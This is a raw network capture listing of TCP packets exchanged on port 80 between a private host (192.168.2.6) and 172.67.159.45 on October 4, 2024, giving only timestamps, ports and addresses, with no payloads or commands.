Oct 4, 2024 04:28:02.998960972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998971939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998982906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.998992920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999005079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999015093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999025106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.999025106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.999205112 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:02.999505997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999516964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999522924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999527931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999533892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999538898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999543905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999550104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999556065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999561071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:02.999993086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.000231028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.000327110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191103935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191157103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191165924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191179991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191203117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191307068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191318035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191328049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191339970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191359997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191401005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191621065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191709042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191745996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191757917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191819906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191831112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191839933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191850901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.191876888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.191916943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192209005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192219019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192229033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192239046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192249060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192259073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192269087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192277908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192279100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192277908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192290068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192320108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192320108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192356110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192858934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192869902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192881107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.192908049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.192939997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193099976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193110943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193145990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193164110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193223953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193248987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193259001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193269968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193279982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193289995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193315983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193315983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193347931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193766117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193777084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193785906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193820953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193825960 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193830967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193840981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193852901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193862915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193870068 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193872929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193882942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193892956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.193937063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.193937063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.194763899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194776058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194785118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194793940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194802046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194811106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194818974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194828033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194833040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.194835901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194845915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194860935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.194868088 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.194880962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.195013046 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.195683956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195693016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195699930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195708990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195717096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195724964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195734024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195741892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195751905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195760012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.195765018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.195765018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.195794106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.195794106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.196609974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196620941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196629047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196638107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196645975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196659088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196667910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196675062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.196676970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196685076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196692944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196702957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.196713924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.196723938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.196758986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.197499990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197510958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197519064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197526932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197535992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197545052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197554111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197562933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197571993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197582006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197587967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.197587967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.197590113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197598934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.197630882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.197630882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.197686911 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.198434114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198446035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198456049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198461056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198466063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198471069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198473930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198476076 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.198478937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198489904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198499918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198508978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.198551893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.198581934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.199202061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199213028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199220896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199225903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199232101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199237108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199243069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199248075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199254036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199259043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199259043 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.199269056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199273109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199279070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199285030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199295044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.199323893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.199399948 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.200123072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200134993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200144053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200150013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200160027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200170994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200181007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200191021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200193882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.200201035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.200213909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.200265884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.200265884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.283562899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283597946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283608913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283658028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.283658028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.283713102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283725023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283781052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.283781052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.283937931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283948898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283960104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283971071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283982038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.283987045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284091949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284260035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284271955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284281015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284324884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284324884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284461021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284471989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284482956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284516096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284534931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284693003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284708023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284723997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284734011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284744024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284754038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284758091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284758091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284764051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.284815073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.284815073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285185099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285193920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285203934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285213947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285223007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285233021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285244942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285254955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285263062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285274029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285486937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285640955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285650969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285660982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285695076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285705090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285712957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285712957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285717010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285727024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285738945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.285742998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285752058 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.285800934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286235094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286246061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286254883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286264896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286274910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286284924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286294937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286294937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286307096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286315918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286340952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286550045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286873102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286883116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286892891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286902905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286912918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286922932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286931992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286931992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286932945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286942959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286952019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286962032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286972046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286982059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.286987066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.286988020 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287000895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287105083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287844896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287857056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287867069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287877083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287885904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287889004 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287895918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287904024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287914038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287924051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287926912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287926912 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287934065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287944078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287950039 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287952900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287962914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287975073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.287986994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.287986994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288013935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288810968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288822889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288831949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288841963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288851976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288861036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288863897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288863897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288872004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288882017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288891077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288899899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288903952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288903952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288909912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288919926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.288950920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.288950920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.289017916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.289773941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289784908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289793968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289804935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289814949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.289824009 CEST	80	49740	172.67.159.45	192.168.2.6
